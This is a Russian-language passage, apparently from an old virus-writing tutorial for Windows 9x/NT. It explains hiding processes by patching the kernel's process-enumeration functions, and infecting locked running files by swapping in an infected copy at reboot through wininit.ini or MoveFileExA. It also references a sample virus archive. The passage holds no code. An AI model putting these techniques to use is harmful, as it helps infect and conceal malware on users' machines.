Перечень запущенных процессов/модулей/нитей можно получить через
Process32First/Next, Module32First/Next, Thread32First/Next.
Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел.
Да, как вы наверное уже знаете, запущенные программы в win32 нельзя
стереть/открыть на запись, а значит, и заразить.
Есть два способа обхода этого дела, для win9X и для winNT.
Под маздаем к %windir\wininit.ini дописываются 2 строчки:
[rename]
dstfile=srcfile
И заражается не открытый файл, а его копия, которая затем при перезагрузке
будет автоматом переименована в файл, а оригинальный файл стерт.
Указанную херь к файлу удобно дописывать функцией
WritePrivateProfileStringA.
Под winNT дважды используется ф-ция MoveFileExA с параметром
DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для
переименования.
Нити.
Нить (thread) -- это сущность, более всего напонимающая некий виртуальный
процессор. В каждой нити -- свой набор регистров.
Ваш процессор последовательно их (регистры) перезагружает и по нескольку
долей секунды (кванты времени) работает то в одной то в другой нити.
В результате с точки зрения нити, она испольняется параллельно с остальными.
В каждом процессе есть как минимум одна нить -- основная.
Хотя кроме основной, можно создавать и другие, используя CreateThread.
Единственно и только с помощью CreateThread можно работать в адресном
пространстве процесса параллельно с самим процессом.
win32vx.zip - Пример вируса к статье.
|
|